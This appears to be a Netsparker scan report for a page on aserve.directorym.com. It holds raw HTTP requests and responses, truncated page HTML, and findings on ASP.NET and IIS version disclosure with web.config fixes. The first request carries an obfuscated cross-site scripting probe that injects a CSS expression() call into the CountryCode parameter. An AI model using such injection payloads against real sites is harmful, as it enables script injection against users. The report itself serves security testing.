GET /SetupContent_v6.aspx?SiteId=364&CountryCode=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1 Referer: http://aserve.directorym.com/SetupContent_v6.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: aserve.directorym.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: CP="NOI CURa ADMa DEVa TAIa PSAa PSDa CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Encoding: Content-Length: 10033 Cache-Control: private, max-age=82681 Date: Thu, 03 Mar 2011 23:01:01 GMT Connection: keep-alive <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>nSphere - Content Module Setup (v6)</title> <meta name="robots" content="noindex,nofollow" /> <script type="text/javascript"> function Defaults() { document.setup.i_dm_size.value = '300x250'; document.setup.i_dm_size_x.value = ''; document.setup.i_dm_size_y.value = ''; document.setup.i_dm_color_border.value = '000000'; document.setup.i_dm_color_title.value = '000000'; document.setup.i_dm_color_links.value = '336699'; document.setup.i_dm_color_hover.value = 'FF3300'; PrintCode(); } function showColor(val, target, name) { target.value = val; document.getElementById('colorPickerOff' + name).style.visibility = 'visible'; document.getElementById('colorPickerOn' + name).style.display = 'none'; PrintCode(); } function PrintCode() { var Code = ''; var Css = ''; var lSize = document.setup.i_dm_size.value; if (document.setup.i_dm_size_x.value != '' && document.setup.i_dm_size_y.value != '' && !isNaN(document.setup.i_dm_size_x.value) && !isNaN(document.setup.i_dm_size_y.value)) lSize = document.setup.i_dm_size_x.value + 'x' + document.setup.i_dm_size_y.value; var H = parseInt(lSize.substring(lSize.indexOf("x") + 1)); var W = parseInt(lSize.substring(0, lSize.indexOf("x"))); Code = "<style type=\"text/css\">\r\n"; Css += ".dmcontent_container {\r\n"; Css += " margin-top: 0;\r\n"; Css += " margin-right: 0;\r\n"; Css += " border: 1px solid #" + document.setup.i_dm_color_border.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: " + H + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_title {\r\n"; Css += " text-align: left;\r\n"; Css += " font: bold 12px/18px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_title.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: 20px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body {"; Css += " line-height: 16px;\r\n"; Css += " float: left;\r\n"; Css += " overflow-y: auto;\r\n"; Css += " text-align: left;\r\n"; Css += " margin-right: auto;\r\n"; Css += " width: " + (W - 2) + "px;\r\n"; Css += " height: " + (H - 21) + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body a:hover {"; Css += " text-decoration: none;"; Css += " color: #" + document.setup.i_dm_color_hover.value + ";\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_link {"; Css += " text-decoration: none;\r\n"; Css += " font: 11px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_links.value + ";\r\n"; Css += "}\r\n\r\n"; Code += Css; Code += "</style>\r\n"; Code += "<div class=\"dmcontent_container\">\r\n"; Code += "<div class=\"dmcontent_title\"> "; Code += document.setup.i_dm_title.value; Code += "</div>\r\n"; Code += "<div class=\"dmcontent_body\">\r\n"; for (i=0; i < document.setup.elements.length; i++) { if (document.setup.elements[i].checked != null && document.setup.elements[i].checked == 1) Code += " " + document.setup.elements[i].value + "<br />\r\n"; } Code += "</div>\r\n"; Code += "</div>\r\n"; document.setup.i_code.value = Code; addCss(Css); // add css seperately for IE PreviewModule(); } function PreviewModule() { var lModule = document.getElementById("frmModule"); var lModuleSub = lModule.childNodes[0]; if (lModuleSub != null) { lModule.removeChild(lModuleSub); lModuleSub = null; } lModuleSub = document.createElement("frmModuleSub"); lModuleSub.innerHTML = document.setup.i_code.value; lModule.appendChild(lModuleSub); } function addCss(cssCode) { styleElement = document.createElement("style"); styleElement.type = "text/css"; if (styleElement.styleSheet) { styleElement.styleSheet.cssText = cssCode; } else { styleElement.appendChild(document.createTextNode(cssCode)); } document.getElementsByTagName("head")[0].appendChild(styleElement); } function TrueFalseYesNo(Input) { if (Input) return ("yes"); else return ("no"); } function ClearAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 0; } function CheckAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 1; } </script> </head> <body style="font-family: Arial, Sans-Serif;" onload="PrintCode()"> <h1>Setup your nSphere Content Module (v6)</h1> <form name="setup"> <div style="width:50%;float: left;"> <h2>Control the display</h2> <table> <tr><td>Format:</td><td> <select name="i_dm_size" onchange="PrintCode();"> <optgroup id="Optgroup1" Label="Vertical"> <option value="160x600">160 x 600 (Wide Skyscraper)</option> <option value="120x600">120 x 600 (Skyscraper)</option> <option value="120x240">120 x 240 (Vertical Banner)</option> <option value="300x600">300 x 600 (Half Page Ad)</option> </optgroup> <optgroup id="Optgroup2" Label="Rectangle"> <option value="336x280">336 x 280 (Large Rectangle)</option> <option value="300x250" selected>300 x 250 (Medium Rectangle)</option> <option value="240x400">240 x 400 (Vertical Rectangle)</option> <option value="250x250">250 x 250 (Square)</option> <option value="200x200">200 x 200 (Small Square)</option> <option value="180x150">180 x 150 (Small Rectangle)</option> </optgroup> </select> </td></tr> <tr><td>Custom Size:</td><td> <input type="text" name="i_dm_size_x" value="" onchange="PrintCode();" /> x <input type="text" name="i_dm_size_y" value="" onchange="PrintCode();" /> </td></tr> <tr><td>Border:</td><td><input type="text" name="i_dm_color_border" value="000000" onchange="PrintCode();" /><span id="colorPickerOffi_dm_color_border" onclick="this.style.visibility = 'hidden'; document.getElementById('colorPickerOni_dm_color_border').style.display = 'block';"><img src="Images/ColorPallete.gif" alt="Choose colors" /></span><span id="colorPickerOni_dm_color_border" style="display: none"><map name="colmapi_dm_color_border"><area shape="rect" coords="1,1,7,10" href="javascript:showColor('00FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,1,15,10" href="javascript:showColor('00FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,1,23,10" href="javascript:showColor('00FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,1,31,10" href="javascript:showColor('00FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,1,39,10" href="javascript:showColor('00FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,1,47,10" href="javascript:showColor('00FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,1,55,10" href="javascript:showColor('33FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,1,63,10" href="javascript:showColor('33FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,1,71,10" href="javascript:showColor('33FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,1,79,10" href="javascript:showColor('33FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,1,87,10" href="javascript:showColor('33FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,1,95,10" href="javascript:showColor('33FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,1,103,10" href="javascript:showColor('66FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,1,111,10" href="javascript:showColor('66FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,1,119,10" href="javascript:showColor('66FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,1,127,10" href="javascript:showColor('66FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,1,135,10" href="javascript:showColor('66FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,1,143,10" href="javascript:showColor('66FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,1,151,10" href="javascript:showColor('99FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,1,159,10" href="javascript:showColor('99FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,1,167,10" href="javascript:showColor('99FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,1,175,10" href="javascript:showColor('99FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,1,183,10" href="javascript:showColor('99FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,1,191,10" href="javascript:showColor('99FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,1,199,10" href="javascript:showColor('CCFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="201,1,207,10" href="javascript:showColor('CCFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="209,1,215,10" href="javascript:showColor('CCFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="217,1,223,10" href="javascript:showColor('CCFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="225,1,231,10" href="javascript:showColor('CCFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="233,1,239,10" href="javascript:showColor('CCFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="241,1,247,10" href="javascript:showColor('FFFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="249,1,255,10" href="javascript:showColor('FFFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="257,1,263,10" href="javascript:showColor('FFFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="265,1,271,10" href="javascript:showColor('FFFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="273,1,279,10" href="javascript:showColor('FFFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="281,1,287,10" href="javascript:showColor('FFFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="1,12,7,21" href="javascript:showColor('00CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,12,15,21" href="javascript:showColor('00CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,12,23,21" href="javascript:showColor('00CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,12,31,21" href="javascript:showColor('00CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,12,39,21" href="javascript:showColor('00CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,12,47,21" href="javascript:showColor('00CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,12,55,21" href="javascript:showColor('33CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,12,63,21" href="javascript:showColor('33CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,12,71,21" href="javascript:showColor('33CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,12,79,21" href="javascript:showColor('33CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,12,87,21" href="javascript:showColor('33CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,12,95,21" href="javascript:showColor('33CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,12,103,21" href="javascript:showColor('66CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,12,111,21" href="javascript:showColor('66CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,12,119,21" href="javascript:showColor('66CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,12,127,21" href="javascript:showColor('66CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,12,135,21" href="javascript:showColor('66CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,12,143,21" href="javascript:showColor('66CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,12,151,21" href="javascript:showColor('99CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,12,159,21" href="javascript:showColor('99CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,12,167,21" href="javascript:showColor('99CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,12,175,21" href="javascript:showColor('99CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,12,183,21" href="javascript:showColor('99CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,12,191,21" href="javascript:showColor('99CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,12,199,21" href="javascript:showColor('CCCC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="re..
ASP.NET Version Disclosure
ASP.NET Version Disclosure
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from
X-AspNet-Version
banner of HTTP response or default ASP.NET error page.
Impact
An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.
Apply the following changes on your
web.config
file to prevent information leakage by using custom error pages and removing
X-AspNet-Version
from HTTP responses.
<System.Web>
< httpRuntime enableVersionHeader="false" />
<customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
<error statusCode="403" redirect="~/error/Forbidden.aspx" />
<error statusCode="404" redirect="~/error/PageNotFound.aspx" />
<error statusCode="500" redirect="~/error/InternalError.aspx" />
</customErrors>
</System.Web>
Remedy References
- /SetupContent_v6.aspx
/SetupContent_v6.aspx
X-AspNet-Version: 2.0.50727
Request
GET /SetupContent_v6.aspx?CountryCode=US HTTP/1.1 Referer: http://aserve.directorym.com/SetupContent_v6.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: aserve.directorym.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: CP="NOI CURa ADMa DEVa TAIa PSAa PSDa CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Encoding: Content-Length: 16280 Cache-Control: private, max-age=82416 Date: Thu, 03 Mar 2011 22:59:34 GMT Connection: keep-alive <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>nSphere - Content Module Setup (v6)</title> <meta name="robots" content="noindex,nofollow" /> <script type="text/javascript"> function Defaults() { document.setup.i_dm_size.value = '300x250'; document.setup.i_dm_size_x.value = ''; document.setup.i_dm_size_y.value = ''; document.setup.i_dm_color_border.value = '000000'; document.setup.i_dm_color_title.value = '000000'; document.setup.i_dm_color_links.value = '336699'; document.setup.i_dm_color_hover.value = 'FF3300'; PrintCode(); } function showColor(val, target, name) { target.value = val; document.getElementById('colorPickerOff' + name).style.visibility = 'visible'; document.getElementById('colorPickerOn' + name).style.display = 'none'; PrintCode(); } function PrintCode() { var Code = ''; var Css = ''; var lSize = document.setup.i_dm_size.value; if (document.setup.i_dm_size_x.value != '' && document.setup.i_dm_size_y.value != '' && !isNaN(document.setup.i_dm_size_x.value) && !isNaN(document.setup.i_dm_size_y.value)) lSize = document.setup.i_dm_size_x.value + 'x' + document.setup.i_dm_size_y.value; var H = parseInt(lSize.substring(lSize.indexOf("x") + 1)); var W = parseInt(lSize.substring(0, lSize.indexOf("x"))); Code = "<style type=\"text/css\">\r\n"; Css += ".dmcontent_container {\r\n"; Css += " margin-top: 0;\r\n"; Css += " margin-right: 0;\r\n"; Css += " border: 1px solid #" + document.setup.i_dm_color_border.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: " + H + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_title {\r\n"; Css += " text-align: left;\r\n"; Css += " font: bold 12px/18px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_title.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: 20px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body {"; Css += " line-height: 16px;\r\n"; Css += " float: left;\r\n"; Css += " overflow-y: auto;\r\n"; Css += " text-align: left;\r\n"; Css += " margin-right: auto;\r\n"; Css += " width: " + (W - 2) + "px;\r\n"; Css += " height: " + (H - 21) + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body a:hover {"; Css += " text-decoration: none;"; Css += " color: #" + document.setup.i_dm_color_hover.value + ";\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_link {"; Css += " text-decoration: none;\r\n"; Css += " font: 11px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_links.value + ";\r\n"; Css += "}\r\n\r\n"; Code += Css; Code += "</style>\r\n"; Code += "<div class=\"dmcontent_container\">\r\n"; Code += "<div class=\"dmcontent_title\"> "; Code += document.setup.i_dm_title.value; Code += "</div>\r\n"; Code += "<div class=\"dmcontent_body\">\r\n"; for (i=0; i < document.setup.elements.length; i++) { if (document.setup.elements[i].checked != null && document.setup.elements[i].checked == 1) Code += " " + document.setup.elements[i].value + "<br />\r\n"; } Code += "</div>\r\n"; Code += "</div>\r\n"; document.setup.i_code.value = Code; addCss(Css); // add css seperately for IE PreviewModule(); } function PreviewModule() { var lModule = document.getElementById("frmModule"); var lModuleSub = lModule.childNodes[0]; if (lModuleSub != null) { lModule.removeChild(lModuleSub); lModuleSub = null; } lModuleSub = document.createElement("frmModuleSub"); lModuleSub.innerHTML = document.setup.i_code.value; lModule.appendChild(lModuleSub); } function addCss(cssCode) { styleElement = document.createElement("style"); styleElement.type = "text/css"; if (styleElement.styleSheet) { styleElement.styleSheet.cssText = cssCode; } else { styleElement.appendChild(document.createTextNode(cssCode)); } document.getElementsByTagName("head")[0].appendChild(styleElement); } function TrueFalseYesNo(Input) { if (Input) return ("yes"); else return ("no"); } function ClearAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 0; } function CheckAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 1; } </script> </head> <body style="font-family: Arial, Sans-Serif;" onload="PrintCode()"> <h1>Setup your nSphere Content Module (v6)</h1> <form name="setup"> <div style="width:50%;float: left;"> <h2>Control the display</h2> <table> <tr><td>Format:</td><td> <select name="i_dm_size" onchange="PrintCode();"> <optgroup id="Optgroup1" Label="Vertical"> <option value="160x600">160 x 600 (Wide Skyscraper)</option> <option value="120x600">120 x 600 (Skyscraper)</option> <option value="120x240">120 x 240 (Vertical Banner)</option> <option value="300x600">300 x 600 (Half Page Ad)</option> </optgroup> <optgroup id="Optgroup2" Label="Rectangle"> <option value="336x280">336 x 280 (Large Rectangle)</option> <option value="300x250" selected>300 x 250 (Medium Rectangle)</option> <option value="240x400">240 x 400 (Vertical Rectangle)</option> <option value="250x250">250 x 250 (Square)</option> <option value="200x200">200 x 200 (Small Square)</option> <option value="180x150">180 x 150 (Small Rectangle)</option> </optgroup> </select> </td></tr> <tr><td>Custom Size:</td><td> <input type="text" name="i_dm_size_x" value="" onchange="PrintCode();" /> x <input type="text" name="i_dm_size_y" value="" onchange="PrintCode();" /> </td></tr> <tr><td>Border:</td><td><input type="text" name="i_dm_color_border" value="000000" onchange="PrintCode();" /><span id="colorPickerOffi_dm_color_border" onclick="this.style.visibility = 'hidden'; document.getElementById('colorPickerOni_dm_color_border').style.display = 'block';"><img src="Images/ColorPallete.gif" alt="Choose colors" /></span><span id="colorPickerOni_dm_color_border" style="display: none"><map name="colmapi_dm_color_border"><area shape="rect" coords="1,1,7,10" href="javascript:showColor('00FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,1,15,10" href="javascript:showColor('00FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,1,23,10" href="javascript:showColor('00FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,1,31,10" href="javascript:showColor('00FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,1,39,10" href="javascript:showColor('00FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,1,47,10" href="javascript:showColor('00FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,1,55,10" href="javascript:showColor('33FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,1,63,10" href="javascript:showColor('33FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,1,71,10" href="javascript:showColor('33FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,1,79,10" href="javascript:showColor('33FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,1,87,10" href="javascript:showColor('33FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,1,95,10" href="javascript:showColor('33FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,1,103,10" href="javascript:showColor('66FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,1,111,10" href="javascript:showColor('66FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,1,119,10" href="javascript:showColor('66FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,1,127,10" href="javascript:showColor('66FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,1,135,10" href="javascript:showColor('66FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,1,143,10" href="javascript:showColor('66FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,1,151,10" href="javascript:showColor('99FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,1,159,10" href="javascript:showColor('99FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,1,167,10" href="javascript:showColor('99FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,1,175,10" href="javascript:showColor('99FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,1,183,10" href="javascript:showColor('99FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,1,191,10" href="javascript:showColor('99FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,1,199,10" href="javascript:showColor('CCFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="201,1,207,10" href="javascript:showColor('CCFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="209,1,215,10" href="javascript:showColor('CCFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="217,1,223,10" href="javascript:showColor('CCFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="225,1,231,10" href="javascript:showColor('CCFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="233,1,239,10" href="javascript:showColor('CCFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="241,1,247,10" href="javascript:showColor('FFFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="249,1,255,10" href="javascript:showColor('FFFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="257,1,263,10" href="javascript:showColor('FFFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="265,1,271,10" href="javascript:showColor('FFFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="273,1,279,10" href="javascript:showColor('FFFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="281,1,287,10" href="javascript:showColor('FFFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="1,12,7,21" href="javascript:showColor('00CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,12,15,21" href="javascript:showColor('00CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,12,23,21" href="javascript:showColor('00CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,12,31,21" href="javascript:showColor('00CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,12,39,21" href="javascript:showColor('00CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,12,47,21" href="javascript:showColor('00CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,12,55,21" href="javascript:showColor('33CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,12,63,21" href="javascript:showColor('33CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,12,71,21" href="javascript:showColor('33CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,12,79,21" href="javascript:showColor('33CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,12,87,21" href="javascript:showColor('33CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,12,95,21" href="javascript:showColor('33CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,12,103,21" href="javascript:showColor('66CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,12,111,21" href="javascript:showColor('66CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,12,119,21" href="javascript:showColor('66CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,12,127,21" href="javascript:showColor('66CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,12,135,21" href="javascript:showColor('66CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,12,143,21" href="javascript:showColor('66CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,12,151,21" href="javascript:showColor('99CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,12,159,21" href="javascript:showColor('99CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,12,167,21" href="javascript:showColor('99CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,12,175,21" href="javascript:showColor('99CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,12,183,21" href="javascript:showColor('99CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,12,191,21" href="javascript:showColor('99CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,12,199,21" href="javascript:showColor('CCCC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="re..
IIS Version Disclosure
IIS Version Disclosure
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
- /SetupContent_v6.aspx
/SetupContent_v6.aspx
Microsoft-IIS/6.0
Request
GET /SetupContent_v6.aspx?CountryCode=US HTTP/1.1 Referer: http://aserve.directorym.com/SetupContent_v6.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: aserve.directorym.com Accept-Encoding: gzip, deflate
Response
